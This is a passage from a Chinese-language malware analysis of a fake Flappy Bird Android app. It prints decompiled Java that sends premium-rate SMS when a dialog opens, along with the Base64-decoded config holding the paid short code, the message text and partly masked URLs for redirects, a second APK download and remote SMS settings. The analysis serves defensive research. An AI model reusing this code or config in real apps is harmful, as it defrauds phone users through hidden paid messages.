                    MainActivity.this.startWebsite(Service_mLink.link_redirect);
                  System.exit(1);
                }
                return;
              }
            }
          }
          catch (Exception localException)
          {
            while (true)
            {
              MainActivity.this.auto_sms = "0";
              continue;
              SendSMS.send(Service_mLink.mo_Active, Service_mLink.svcodeActive, MainActivity.this, MainActivity.this.type_dauso_X, MainActivity.this.type_discount, MainActivity.this.type_last);
              continue;
              label450: if ((this.val$number_send == 1) && (this.val$i == 1))
                FileManager.saveFTime(MainActivity.this, "mlink_x5", MainActivity.this.ftime);
              if ((this.val$number_send != 2) || (this.val$i != 2))
                continue;
              FileManager.saveFTime(MainActivity.this, "mlink_x5", MainActivity.this.ftime);
            }
            Toast.makeText(MainActivity.this, "B?n ?ã không có Sim ?i?n tho?i.\n B?n không th? kích ho?t và s? d?ng App ???c !!!", 1000).show();
            return;
          }
        paramDialogInterface.cancel();
        if (!Service_mLink.link_redirect.equals(""))
          MainActivity.this.startWebsite(Service_mLink.link_redirect);
        System.exit(1);
      }
    });
    localBuilder.show();
  }

因此,在建立彈出對話時,該方法觸發了傳送簡訊,這可以解釋為什麼我們的動態分析時,發出了兩個簡訊。

現在還有個問題就是沒有看到簡訊從哪裡傳送的,沒有看到簡訊的號碼,簡訊內容,以及訪問的URL是在哪裡定義的。

在app的原始碼中找到了一些線索,如何解碼一個配置檔案內容,特別是一個叫getInfoFromFile方法。

MainActivity.class: getInfoFromFile()

#!java
private void getInfoFromFile()
  {
    new ArrayList();
    ArrayList localArrayList = FileManager.loadfileExternalStorage(this, 2130837505);
    try
    {
      this.strDecode = new String(Base64.decode(((String)localArrayList.get(0)).toString()));
      Service_mLink.instance.getCategory(this.strDecode);
      this.have_img = readImage();
      this.isFirstTime = FileManager.loadFtime(this, this.ftime);
      return;
    }
    catch (Exception localException)
    {
      localException.printStackTrace();
    }
  }

可以看到其功能為讀取檔案base64解碼處理。

仔細檢視APK檔案,在res目錄下有一個drawable-hdpi的目錄,在這個目錄下有一個config檔案,為base64編碼的。

解碼config檔案:

#!js
{
  "sv_code_active": "7740",
  "sv_code_active_2": "7740",
  "mo_active": "BMK BOKMA 2 12d2a43f2c03bbfbaa3a12cc65078143 3934",
  "bm_name": "Flappy bird",
  "header_color": "#1E8CBE",
  "background_color": "#F0F0F0",
  "font_header_color": "#F0F0F0",
  "font_item_color": "#333333",
  "number_send": "2",
  "type_display": "1",
  "include_sdk": "0",
  "link_redirect": "http://choi****game.cu****h.mobi",
  "items": [
    {
      "serviceCode": "7740",
      "serviceCode2": "7740",
      "mo": "BMK BOKMA 2 12d2a43f2c03bbfbaa3a12cc65078143 3934",
      "title": "Flappy bird",
      "link_icon": "http://cu****h.mobi/upload/bookmark/2014/0208/flappy_1.jpg",
      "link": "http://andr****ot.net/app/flappy.apk"
    }
  ],
  "url_config_auto_sms": "http://cu****h.mobi/bookmark/getConfigSendSMS",
  "url_get_sv_code": "http://cuc****.mobi/bookmark/getServiceCode?price=15000"
}

到此基本都瞭解到了,進一步看了flappy.apk檔案看看具體是做什麼的,好像也只是個傳送簡訊扣費的應用。

0x03 總結


事實證明,這個Flappy Bird是一個惡意應用,傳送付費簡訊,並會下載其他惡意的應用。

此次檢測用到的工具都是免費的工具可以下載到。

from:enter link description here

本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章